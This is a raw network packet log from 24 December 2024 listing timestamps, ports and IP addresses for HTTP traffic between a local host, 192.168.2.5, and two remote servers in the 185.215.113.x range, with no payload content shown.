Dec 24, 2024 12:39:40.144490004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.144649982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144809008 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.144829988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144885063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144891024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144947052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.145716906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.145768881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.145781040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.145829916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.146641970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.146648884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.146661043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.146711111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.147463083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.147589922 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.178982973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179094076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179101944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179173946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.179378986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179465055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179471016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.179471016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.179532051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.180236101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.180293083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.180299044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.180351973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.181094885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.181158066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.181163073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.181185961 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.181222916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.181994915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182050943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182058096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182107925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.182885885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182945967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182952881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.182957888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.183007002 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.183784008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.183851004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.183856964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.183908939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.184611082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.184664965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.184669971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.184690952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.184719086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.185532093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.185589075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.185599089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.185647964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.186408043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.186444998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.186455011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.186517000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.187288046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.187326908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.187335014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.187388897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.188164949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.188251972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.188261986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.188306093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.188337088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.189027071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.189040899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.189064026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.189104080 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.189882040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.189944029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.189954042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.190004110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.190757990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.190817118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.190823078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.190871000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.191679955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.191735029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.191740990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.191798925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.192545891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.192608118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.192614079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.192667007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.193500042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.193568945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.193583012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.193721056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.193721056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.194361925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.194411993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.194418907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.194452047 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.196590900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196686983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196693897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196723938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.196744919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.196841002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196846962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196858883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.196897984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.197134972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.197207928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.197221994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.197228909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.197268963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.197792053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.238537073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.247037888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247200966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247206926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247258902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.247342110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247347116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247541904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.247581005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.247598886 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.248210907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.248215914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.248264074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.248512030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.248517990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.248528957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.248569012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.249417067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249422073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249434948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249480963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.249717951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249725103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249735117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.249763012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.251184940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.251271963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.251363993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.251369953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.251435041 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.252728939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.252733946 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.252743959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.252774954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.253381968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.253387928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.253400087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.253429890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.253458977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.253956079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.253962994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.254317999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.336628914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336636066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336654902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336815119 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.336889029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336936951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336941957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.336977959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.337016106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.337821960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.337891102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.337897062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.337945938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.338651896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.338721991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.338730097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.338740110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.338798046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.339714050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.339720964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.339787960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.371021986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371073008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371079922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371190071 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.371552944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371612072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371618032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.371637106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.371700048 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.372438908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.372483969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.372489929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.372539997 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.373378992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.373394012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.373404980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.373452902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.374432087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.374485016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.374490023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.374536991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.375340939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.375349045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.375354052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.375399113 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.376049995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376074076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376079082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376151085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.376784086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376811028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376816988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.376841068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.376873016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.377635002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.377670050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.377675056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.377737045 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.378515959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.378582954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.378595114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.378643036 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.379414082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.379458904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.379465103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.379512072 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.380305052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.380345106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.380351067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.380373001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.380402088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.381155968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.381200075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.381205082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.381257057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.382056952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.382117033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.382122040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.382129908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.382185936 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.382997036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383058071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383063078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383127928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.383851051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383891106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383897066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.383915901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.383945942 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.384695053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.384746075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.384752035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.384799957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.385528088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.385577917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.573457003 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:45.194036961 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:45.313581944 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:45.313868046 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:45.317765951 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:45.437378883 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:46.642422915 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:46.643933058 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:47.005758047 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:47.125370026 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:48.538949013 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:48.539027929 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:48.540441990 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:48.659907103 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:48.977405071 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:48.977459908 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:48.977524996 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:48.978899956 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.098361969 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415648937 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415662050 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415734053 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415837049 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.415842056 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415853977 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415865898 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.415879965 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.415879965 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.415918112 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.424144030 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.426171064 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.524631023 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:49.644243002 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.961929083 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:49.961988926 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:50.083357096 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:50.083401918 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:50.203188896 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203201056 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203208923 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203227043 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203324080 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203332901 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:50.203355074 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.070411921 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.070519924 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.328013897 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.447607040 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.762506008 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.762607098 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.762713909 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.766665936 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.767905951 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.768209934 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.768613100 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.768668890 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.776937962 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.777064085 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.777120113 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.785042048 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.785156012 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.785332918 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.793467045 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.793543100 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.793625116 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.884646893 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.884733915 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.884835958 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.887135029 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.887248039 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.887332916 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.895562887 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.895685911 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.895765066 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.903961897 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.904074907 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.904239893 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.912415981 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.912476063 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.912539005 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.920787096 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.924050093 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.954406977 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.954485893 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.954488993 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.954525948 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.958606958 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.958681107 CET	49773	80	192.168.2.5	185.215.113.206
